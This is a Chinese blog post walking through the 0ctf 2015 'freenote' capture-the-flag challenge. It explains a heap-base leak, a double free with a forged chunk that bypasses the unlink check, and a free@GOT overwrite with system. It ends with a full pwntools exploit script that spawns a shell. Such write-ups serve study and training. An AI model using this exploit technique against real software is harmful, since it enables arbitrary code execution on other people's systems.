0ctf 2015 freenote - Blog of Mathias
Blog of Mathias Web Securtiy&Deep Learning
0ctf 2015 freenote
发表于: | 分类: double free | 评论:0 | 阅读:661

因为之前做heap的题目比较少,所以做了好一阵
大概的思路是double free和got覆写
首先是题目的分析

v0 = malloc(0x1810uLL);

初始化申请了一片0x1810大小的内存,用于存放所有note的信息(某位置是否有note)

IDA F5一下,大致的了解了这个结构的作用

heap分配
pre_size       -16       存放pre_size
size           -8        存放size
内容           地址       作用分析
256             0    最大note数量?
0               8    当前note数量
0              16    1 (此处是否有note)
0              24    length of note ?
0              32    str (需要劫持的指针,完成内存leak和got覆写) 覆盖str位置为某函数@got

str在malloc的时候,即使大小不足128,也会申请0x80(128)的大小
然后第一个目标毫无疑问的,是泄露出heap的基地址
因为这里写入note的时候不会写入\0,因此之后的内容都会被泄露出来
用这样的方法,我们可以泄露出某个chunk的fd或是bk指针
然后根据指针指向的chunk的大小,以及地址,很容易得到
heap base = 地址-之前所有chunk大小之和
这里为了泄露到指针,需要用到的方法是
申请chunk后,free它们,这时候再申请一个chunk,由于申请的user data其实是指向fd开头的
我们可以覆盖掉fd,然后打印这个chunk的内容,就可以泄露出bk指针
为了完成这个操作,我使用了4个chunk
原因如图,必须要用一定的chunk进行分割,否则如果free后,这些chunk并不会进入unsort bin
而是直接与top chunk合并,那时对应的bk也就不会指向unsort bin的前一个chunk了,会变成(0x7...开头)

sss.jpg

leak出地址后,我们就可以把chunk都free掉
这时候我们新申请到的chunk位于info下方,由于程序没有检查free第二次的合法性,可以触发double free
我们这里申请一个稍大于0x80的chunk (note 0),就可以伪造一个新chunk,并且覆盖到它之后的一个chunk (note 1)的pre_size和size
通过对其pre_size进行覆写,我们可以让它以为前一个chunk处于空闲状态
这样对它进行第二次free,就会触发向低地址chunk合并,最后unlink(node 0->str)
如果进行如下赋值

fd=&pointer-3*0x8
bk=&pointer-2*0x8

就可以绕过unlink里的

FD=p->fd
BK=p->bk
FD->bk==p||BK->fd==p 

检查,因为本质上p->fd就是*(&p+2*0x8)
并且最后通过bk->fd=FD 把目标指针pointer劫持为了&pointer-3*0x8
我们要劫持的当然是可控的指针,这里就是str指针了
这时我们通过编辑功能写入合法的当前note数量(0x1),当前位置是否占用(0x1)
当前note大小(0x8),当前str指针(free_got) 完成了指针str的劫持
需要说明的是,这里note大小覆写成0x8是因为,如果之后编辑的note大小不一致会触发realloc
使我们前功尽弃。
细节是size是整个chunk的大小,而malloc的数值只代表user data的大小
str指向free_got后,我们可以泄露出free函数的地址free_addr
通过计算libc的偏移,得到system函数的地址system_addr
这里由于可以通过覆盖free_got为system_addr
并且新建一个名称为'sh\0'的笔记,将其free,实际上是调用了system函数,get shell
完整的payload如下

from pwn import *
note=process('./freenote')
def newnote(x):
  note.recvuntil('Your choice: ')
  note.send('2\n')
  note.recvuntil('Length of new note: ')
  note.send(str(len(x)) + '\n')
  note.recvuntil('Enter your note: ')
  note.send(x)
  #print note.recv()
def delnote(x):
  note.recvuntil('Your choice: ')
  note.send('4\n')
  note.recvuntil('Note number: ')
  note.send(str(x)+'\n')
  #print note.recv()
def editnote(x,y):
  note.recvuntil('Your choice: ')
  note.send('3\n')
  note.recvuntil('Note number: ')
  note.send(str(x)+'\n')
  note.recvuntil('Length of note: ')
  note.send(str(len(y))+'\n')
  note.recvuntil('Enter your note: ')
  note.send(y)
def listnote(x):
  note.recvuntil('Your choice: ')
  note.send('1\n')
  note.recvuntil(x)
  s=note.recvuntil('\n')
  return s
newnote('B')
newnote('B')
newnote('B')
newnote('B')
delnote(0)
delnote(2)
newnote('B'*0x8)
result=listnote('B'*0x8)
result=u64(result[:-1].ljust(0x8,'\x00')) - 0x1940
#leak the addr of heap_base
print '[+] heap base: '+ hex(result)
heap_base=result
raw_file=ELF('freenote')
libc=ELF('libc.so.6')
off_system=libc.symbols['system']
off_free=libc.symbols['free']
off_puts=libc.symbols['puts']
free_got=raw_file.got['free']
puts_got=raw_file.got['puts']
malloc_got=raw_file.got['malloc']
newnote('A'*0x80)
newnote('B'*0x80)
newnote('C'*0x80)
delnote(0)
delnote(1)
payload=p64(0x80)+p64(0x80)
payload+=p64(heap_base+0x30-3*0x8)
payload+=p64(heap_base+0x30-2*0x8)
payload=payload.ljust(0x80,'A')
#chunk B
payload+=p64(0x80)
payload+=p64(0x90)
newnote(payload)
delnote(1)
payload=p64(0x1)+p64(0x1)
payload+=p64(0x8)
payload+=p64(free_got)
payload=payload.ljust(0x90)
editnote(0,payload) #the error
print 'info'
result=listnote('0. ')
result=u64(result[:-1].ljust(0x8,'\x00'))
print '[+]addr_free= ',hex(result)
libc_base=result-off_free
system_addr=libc_base+off_system
puts_addr=libc_base+libc.symbols['puts']
read_addr=libc_base+libc.symbols['read']
print hex(system_addr)
payload=p64(system_addr)
editnote(0,payload)
newnote('sh\0')
delnote(6)
note.interactive()

getshell~

QQ图片20170329192237.jpg

参考文章
https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.8yb7Wj&articleid=334

还不快抢沙发

添加新评论